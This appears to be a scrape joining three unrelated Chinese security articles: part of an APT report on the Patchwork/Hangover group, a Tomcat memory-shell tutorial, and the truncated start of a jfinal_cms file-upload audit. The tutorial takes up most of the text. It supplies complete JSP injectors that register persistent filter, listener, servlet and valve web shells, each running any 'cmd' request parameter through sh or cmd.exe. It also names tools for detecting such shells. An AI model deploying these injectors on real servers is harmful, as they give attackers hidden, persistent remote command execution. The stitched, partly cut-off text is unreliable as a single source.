第一次攻击行动：Norman安全公司于2013年曝光的Hangover组织，我们发现相关样本最早可以追溯到2009年11月，该组织在2012年尤为活跃，相关恶意代码和攻击目标的数量有不断增加。该攻击主要针对巴基斯坦，也有针对中国的攻击，但相关攻击事件较少。除了针对windows操作系统的攻击，在2012年针对Mac
OS X操作系统的攻击也出现了。在第一次攻击行动中就已经开始利用漏洞进行攻击，但暂时没有发现该组织会利用0day漏洞。
第二次攻击行动：摩诃草组织在2013年10月下旬开始针对巴基斯坦的一次集中攻击，主要针对巴基斯坦情报机构或军事相关目标。本次攻击行动具有代表性的就是攻击中采用了一次利用0day漏洞（CVE-2013-3906）的攻击，该漏洞是针对微软Office产品，随后微软发布的漏洞预警指出该漏洞主要和TIFF图像解析有关。
第三次攻击行动：第二次小范围集中攻击之后，2013年12月底至2014年初，开始了新一轮攻击，相关目标主要还是针对巴基斯坦军事领域相关目标，本次攻击行动中除了C&C服务器等从网络行为可以联系上第一次攻击行动以外，从恶意代码本身代码同源性已经很难关联到第一次攻击行动了。这主要是本次攻击行动中的恶意代码大部分是用Python编写的脚本，然后使用PyInstaller
和 Py2Exe两种方式进行打包。
第四次（疑似）攻击行动：本次攻击行动也安全厂商被称为“Patchwork”或“The Dropping
Elephant”，从2015年初开始持续至今的攻击，其中从2015年8月开始至2016年6月攻击非常频繁。本次行动的攻击目标主要是中国地区，期间使用了大量文档型漏洞，以CVE-2014-4114使用最多。我们主要通过本次攻击行动中C&C的SOA关联到第一次攻击行动中相关C&C历史域名注册人，由于SOA本身可以被DNS管理者修改，所以存在被刻意修改的可能性，但从我们的分析推断来看这种可能性很低，另外结合相关行动意图和幕后组织的发起方，我们更倾向本次攻击行动属于摩诃草组织的最新一次攻击行动。在本报告后续章节的研究分析，会将本次攻击行动作为摩诃草组织的第四次攻击行动进行描述。
**三、中国受影响情况**
* * *
本章主要基于摩诃草组织近期的第四次攻击行动，另外会涉及少量第三次攻击行动。进一步对相关攻击行动所针对目标涉及的地域和行业进行相关统计分析，时间范围选择2015年7月1日至2016年6月30日。
**1.地域分布**
**图3国内用户受影响情况（2015年7月-2016年6月）**
国内受影响量排名前三的省市是：北京、广东、福建，其中北京地区是主要攻击目标，在西藏、宁夏和贵州这三个省市自治区暂未发现受影响的用户。
注：本报告中用户数量主要指追日团队监控到的计算机终端的数量
与第一次攻击行动类似，第四次攻击行动在针对中国的攻击中，科研教育领域依然是摩诃草组织重点针对的目标。
从第一次攻击行动开始军事领域一直是摩诃草组织关注的重点，期间主要是针对巴基斯坦地区，很少针对中国地区，但从2015年第三方和第四次攻击行动的开始，这一趋势逐渐改变，针对中国地区的军事领域的相关攻击不断增加。
**四、载荷投递**
* * *
关于针对中国的APT攻击中常使用的载荷投递方式，和主流的载荷投递方式的介绍，我们在《2015年中国高级持续性威胁（APT）研究报告》第四章中也详细介绍，读者可以结合参看相关报告。
1.鱼叉邮件
**图5鱼叉邮件主要的类型**
注：
上图中斜体字内容是摩诃草组织较少或从未使用的方式。
….
* * *
更多详情请下载完整报告:
PDF版本：<https://yunpan.cn/c66LvX4xJx93G> 访问密码 c4c2 | 社区文章 |
# Tomcat内存马
基础知识：<https://www.freebuf.com/articles/web/274466.html>
内存马主要分为以下几类：
1. servlet-api类
2. filter型
3. servlet型
4. spring类
5. 拦截器
6. controller型
7. Java Instrumentation类
8. agent型
请求会经过filter到达servlet，动态创建fliter放在最前面，就会命令执行
## 动态注册fliter
具体新建servlet的过程：<https://blog.csdn.net/gaoqingliang521/article/details/108677301>
新建一个servlet:
package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/servlet")
public class servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
resp.getWriter().write("hello servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
配置tomcat：应用程序上下文表示http访问servlet的地址，这里就是localhost:8080/servlet
自定义的filter:
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
修改web.xml，指定url-pattern为`/demo`，也就是访问<http://localhost:8080/servlet/demo时触发filter，一直刷新一直触发>
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
分析之前在项目结构->模块->依赖里导入tomcat/lib的包
>
> 如果可以把自己创建的FilterMap放在FilterMaps的最前面，urlpattern匹配到的时候，就能把恶意FilterConfig添加到FilterChain中，然后触发shell
filterChain来自creatFilterChain
**FilterDefs** ：存放FilterDef的数组 ， **FilterDef** 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
**FilterConfigs** ：存放filterConfig的数组，在 **FilterConfig** 中主要存放 FilterDef 和
Filter对象等信息
**FilterMaps** ：存放FilterMap的数组，在 **FilterMap** 中主要存放了 FilterName 和
对应的URLPattern
## 容器组件
<https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w>
* servletContext和StandardContext的关系
Tomcat中ServletContext实现类为ApplicationContext。ApplicationContext实例中又包含了StandardContext实例，以此来获取操作Tomcat容器内部的一些信息，例如Servlet的注册等。
由于正常环境不能直接修改web.xml。但是可以通过反射生成恶意filterDefs、filterConfig、filterMaps，三个一起放入Context就起到了web.xml注册一样的效果
要实现filter型内存马，需要经过：
1. 创建恶意filter
2. 用filterDef对filter进行封装
3. 将filterDef添加到filterDefs跟filterConfigs中
4. 创建一个新的filterMap将URL跟filter进行绑定，并添加到filterMaps中
因为filter生效会有一个先后顺序，所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链，而StandardContext又会一直保留到Tomcat生命周期结束，所以我们的内存马就可以一直驻留下去，直到Tomcat重启。
在Tomcat
7.x以上才支持Servlet3，而java.servlet.DispatcherType类在servlet3才引入。所以filter型内存马需要Tomcat7以上
## 一、Filter内存马
### 1.获取context
servlet提供了request.getSession().getServletContext()获取servletContext
不过该方法直接获取到的是ApplicationContextFacade，它封装了ApplicationContext。然后ApplicationContext封装了StandardContext
> 表达式((RequestFacade)servletRequest).request.getSession().getServletContext()
因此调两次反射就能拿到StandardContext
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
不过servlet环境的request实际上为RequestFacade对象，它的request属性存储了Request对象，Request对象的getContext能直接拿到Context
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
### 2.添加FilterDefs
FilterDef提供了setFilter来修改filter
然后用StandardContext#addFilterDef()来添加FilterDefs
生成恶意filter:接收cmd作为参数，System.getProperty(os.name)获取系统变量，用来判定系统为Linux or
windows。然后调用Runtime#exec()进行命令执行。
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
`Scanner(in).useDelimiter("\\A");`scannner读入所有输入，包括回车和换行符（默认读到空格停止，`\\A`表示以文本开头作为分隔符分割文本)
将output写入response，获取完参数将request和response作为回调参数调用doFilter。
重点在于setFilter修改filter，然后使用standardContext.addFilter()添加FilterDefs
### 3.filterConfig封装filterDefs，并添加到filterConfigs
利用反射获取filterConifigs，filterConfigs实际上是个hashmap，put进去就行了
前面说过了，standardContext实际上是ApplicationFilterConfigContext封装的。
利用ApplicationFilterConfigContext构造函数来封装filterfDefs，不过该构造函数无修饰符，为default（同包可用），使用反射
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
### 4.生成filterMap添加到filterMaps
filterMaps需要设置名称，pattern，dispatcher
这里的dispatcher需要设置为DispatcherType.REQUEST，该选项指定了filter过滤器根据DispatcherType的类型是否执行。这也是为什么需要tomcat7以上的原因
FilterMaps可以用两种方式添加map：addFilterMap 或者addFilterMapBefore()，后者可以将filter添加至最前面
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
将抽象类的方法补全就能用了
完整代码：
// filterTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>
而且不需要指定jsp路径，因为注册的filterMap的pattern为`/*`
## 排查内存马
#### arthas
项目链接：<https://github.com/alibaba/arthas>
我们可以利用该项目来检测我们的内存马
java -jar arthas-boot.jar --telnet-port 9998 --http-port -1
这里也可以直接 `java -jar arthas-boot.jar`
#### copagent
项目链接：<https://github.com/LandGrey/copagent>
#### java-memshell-scanner
项目链接：<https://github.com/c0ny1/java-memshell-scanner>
## 二、Listener内存马
Listener用来监听对象创建、销毁、属性增删改，然后执行对应的操作。
在Tomcat中，Listener->Filter->Servlet依次执行。
Tomcat支持两种listener：`org.apache.catalina.LifecycleListener`和`Java.util.EvenListener`,前者一般不能使用
实现了EvenListener的ServletRequestListener可以监听Request请求的创建和销毁（这么好的类当然要拿来做内存马
### ServletRequestListener调用流程
* request创建时：在servlet doGet方法处打上断点分析，然后get访问webservlet
servlet启动时，在StandardHostValue#invoke()中对监听器进行检查
其中context.fireRequestInitEvent调用getApplicationEventListeners方法获取全部Listener
if判断有Listener并且为ServletRequestListener子类，就调用ServletRequestListener#requestInitialized()方法
* Request销毁：
在StandardHostValue#invoke()下面，调用fireRequestDistroyEvent()销毁
实际上也就是getApplicationEventListeners方法获取全部Listener后，使用ServletRequestListener#requestDestroyed()方法
由此可见生成Listener只需要经过两个方法，一个是requestInitialized()，一个是requestDestroyed()。这两个方法重写后效果是一样的
* 构建Listener内存马流程：生成恶意Listener，然后放入Context
### 1.获取context
上文已经介绍了如何获取context，一样的通过反射获取Request，然后获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
### 2.生成恶意Listener
getParameter进行命令执行的地方就不多说了。创建Listener需要执行ServletRequestListener#requestInitialized()，那就new一个ServletRequestListener类然后重写requestInitialized方法。
ServletRequestEvent提供了getServletRequest()方法获取request
上面获取context过程中用到的request1为Request对象，封装了getter获取response
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
### 3.添加Listener
反射获取的StandardContext有addApplicationEventListener()添加Listener
standardContext.addApplicationEventListener(listener);
注意这里request1需要用final修饰，不然在newServletRequestListener匿名内部类里无法使用，会报`Cannot refer
to the non-final local variable request1 defined in an enclosing scope`错误
POC：
// listenerTrojan.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
};
standardContext.addApplicationEventListener(listener);
out.println("inject done!");
out.flush();
%>
## 三、Servlet内存马
Servlet开始于Web容器启动，直到Web容器停止运行。要注入servlet，就需要开启动态添加Servlet，在Tomcat7以后才有addServlet()方法
### Servlet生成与配置
#### Servlet注册
Context 负责管理 Wapper ，而 Wapper 又负责管理 Servlet 实例。
通过StandardContext.createWapper()创建Wapper对象。
创建好了Wapper，跟进一下Servlet配置流程，在
org.apache.catalina.core.StandardWapper#setServletClass() 下断点
在ContextConfig#webconfig()处配置webconfig，根据web.xml配置context
然后调用了configureContext()
configureContext()依次读取了 Filter、Listener、Servlet的配置及其映射
在Servlet部分createWrapper()、设置了启动优先级LoadOnStartUp以及servletName。这里loadOnStartup就是负责动态添加Servlet的函数
然后设置了servletClass
最后把wrapper 添加进context的child
循环遍历完了所有servlets，接下来添加Servlet-Mapper，也就是web.xml中的`<servlet-mapping>`。循环addServletMappingDecoded将url和servlet类做映射
总结一下servlet注册过程：
1. 调用StandardContext.createWrapper为servlet创建wrapper
2. 配置LoadOnStartup启动优先级
3. 配置ServletName
4. 配置ServletClass
5. addChild添加wrapper到Context
6. addServletMappingDecode添加映射
其实到这里就能模拟servlet注册构造内存马了
不过LoadOnStartup设置优先级，也就是动态添加servlet的过程还不清楚
#### wrapper装载
跟进到startInternal，发现在加载完Listener和Filter后，开始loadOnstartup
findChildren()将所有Wrapper传入loadOnStartup()处理，loadOnStartup获取到所有Wrapperchild，并且getLoadOnstartup获取到servlet启动顺序，>=0的存放在wapper_list
如果loadOnstartup<0，则不会被动态添加到容器。该属性对应了web.xml中的`<load-on-startup>`，该属性默认-1
循环装载wrapper
装载过程总的一句话，LoadOnStartup>=0才行
### 1.获取context
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
### 2.生成恶意servlet
ApplicationFilterChain#doFilter()会调用servlet.service()
service()方法实际上在HttpServlet.class中，提供了多种http方法，所以我们不仅可以在servlet中重写doGet、doPost等触发RCE，还能直接重写service
HttpServlet servlet = new HttpServlet() {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
};
### 3.生成wrapper，封装进context
createWrapper()创建wrapper，设置servletName，修改LoadOnStartup属性值，还有ServletClass指向类
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
### 4.添加映射
standardContext.addServletMappingDecoded("/*", "servletTrojan");
完整代码：
//servletTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
HttpServlet servlet = new HttpServlet() {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
};
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/*", "servletTrojan");
out.println("inject done!");
out.flush();
%>
> 测试的时候记得把上一个马删掉，以免冲突
## 四、valve内存马
value是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成，分别是 **Engine、Host、Context、Wrapper**
。这四个组件是负责关系，存在包含关系。只包含一个引擎（Engine）：
>
> Engine（引擎）：表示可运行的Catalina的servlet引擎实例，并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时，作为一个真正的容器，Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机，那么将根据默认的Host来判断该由哪个虚拟主机处理。
> Host （虚拟主机）：作用就是运行多个应用，它负责安装和展开这些应用，并且标识这个应用以便能够区分它们。它的子容器通常是
> Context。一个虚拟主机下都可以部署一个或者多个Web App，每个Web
> App对应于一个Context，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机，但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
> Context（上下文）：代表 Servlet 的 Context，它具备了 Servlet 运行的基本环境，它表示Web应用程序本身。Context
> 最重要的功能就是管理它里面的 Servlet 实例，一个Context代表一个Web应用，一个Web应用由一个或者多个Servlet实例组成。
> Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet
> 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。
这四大组件都有自己的管道Pipeline。就像前文Filter和Servlet的实际处理请求的方法，都在Wrapper的管道Pipeline->Valve-ValveBase-StandardWrapperValve#invoke方法中调用
Pipeline就相当于拦截器链，具体看<https://www.cnblogs.com/coldridgeValley/p/5816414.html>
当请求到达`Engine`容器的时候，`Engine`并非是直接调用对应的`Host`去处理相关的请求，而是调用了自己的一个组件去处理，这个组件就叫做`pipeline`组件
valve接口
valve的invoke方法将请求传入下一个valve。如果不调用下一个valve的invoke，那请求到此中断
在servlet调试时也能看到依次调用valve的过程：
`Valve`存放的方式并非统一存放在`Pipeline`中，而是像一个链表一个接着一个。
调用`getNext()`方法即可获取在这个`Pipeline`上的下个`Valve`实例
一般使用实现了valve接口的ValveBase类：
### valve的生成和配置
#### 1.新建valve
新建valve只需要继承ValveBase类并实现invoke方法，pipeline管道会依次执行valve的invoke
public class EvilValve extends ValveBase{
@Override
public void invoke(Request request, Response response) {
try{
Runtime.getRuntime().exec("calc");
this.getNext().invoke(request, response);
}catch (Exception e){
e.printStackTrace();
}
}
}
#### 2.注册valve
**四大组件Engine/Host/Context/Wrapper都有自己的Pipeline**
，在ContainerBase基类里定义了Pipeline:
而StandardPipeline标准类里有addValve方法
#### 3.调用valve
在CoyoteAdapter.service()获取了Pipeline的第一个Valve，并且调用了invoke
这里的第一个valve就是StandardEngineValve
跟进到StandardEngineValve#invoke，可以看到调用了下一个invoke，在左下角的调试框，也就是valve.invoke的调用顺序
根据valve的生成和配置，模拟注册恶意valve：
1. 获取context
2. 从StandardContext反射获取StandardPipeline
3. 调用addValve添加恶意Valve
### 1\. 获取context
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
### 2\. 反射获取StandardPipeline
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
### 3\. 创建注册恶意valve并添加进standardPipeline
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardPipeline1.addValve(valveBase);
为了使正常invoke能进行下去，恶意valve也应该调用下一个valve.invoke
this.getNext().invoke(request, response);
完整代码：
//valveTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
};
standardPipeline1.addValve(valveBase);
out.println("evil valve inject done!");
%>
## others
至于为什么说是内存马，比如上面listenerTrojan.jsp访问一遍后，注册了listener。然后就可以把jsp删掉了，再访问上下文环境就能直接带上参数命令执行。只要服务器不重启就一直运行
不过上述内存马都不是真正意义上的内存马，它们会输出在tomcat的目录下
比如上述运行的jsp，在CTALINA_BASE环境的`work\Catalina\localhost\Servlet_web环境\org\apache\jsp`都有相应的文件
关于真正意义上的内存马注入：<http://wjlshare.com/archives/1541>
借助cc链进行内存马注入
参考：<http://wjlshare.com/archives/1529>
<https://paper.seebug.org/1441/#1_1>
参考了Ho1aAs的多篇文章：<https://ho1aas.blog.csdn.net/article/details/124120724>
<https://ho1aas.blog.csdn.net/article/details/124120724> | 社区文章 |
# 前言
学了一两个月的Java代码审计，对一些审计有了一定了解了。所以决定审计一下JavaWeb CMS，随便申请一下CVE。
认真严肃的挑选了一波之后，我选择了这个CMS，可能是缘分，也可能是好玩吧。主要看的是这个项目有QQ群，可以加群讨论一下问题，方便更好的研究。先加群不说别的。[gitee地址](https://gitee.com/jflyfox/jfinal_cms)，[GitHub地址](https://github.com/jflyfox/jfinal_cms)。
* * *
# 环境搭建
环境的搭建很简单，几种方式可以选择。第一种直接git项目的源码，idea打开项目，然后idea会自动导入下载maven。
第二种方式是去GitHub或者Gitee上下载发行版。
[gitee下载地址](https://gitee.com/jflyfox/jfinal_cms/releases)
[github下载地址](https://github.com/jflyfox/jfinal_cms/releases)
* * *
# 任意文件上传漏洞
[Arbitrary file upload
vulnerability](https://samny.blog.csdn.net//details/105385042)文件上传漏洞存在于管理员后台中的模板管理。
* * *
## 漏洞分析
断点调试，断点设置在`E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java`模板页面的操作的都是由FileManangerController.java控制。
1. `HttpServletRequest request = getRequest();`有点Java知识的人都认识这个,所以第一个断点设置在这里。
2. 第二个断点，审计的上传漏洞，肯定设置在上传方法里。
* * *
### 漏洞源码
`判断是否为空的操作`
public JSONObject add() {
Iterator<?> it = this.files.iterator();
if (!it.hasNext()) {
this.error(lang("INVALID_FILE_UPLOAD"));
return null;
}
项目主说这里修改一下就好了，但默认是这样子的，可见开发者自以为是可以防止任意上传文件漏洞，但其实这里默认是这样子设置。
默认设置是一次最多上传5个文件，文件大小不超过16MB。
long maxSize = NumberUtils.parseLong(MAX_SIZE);
if (getConfig("upload-size") != null) {
maxSize = Integer.parseInt(getConfig("upload-size"));
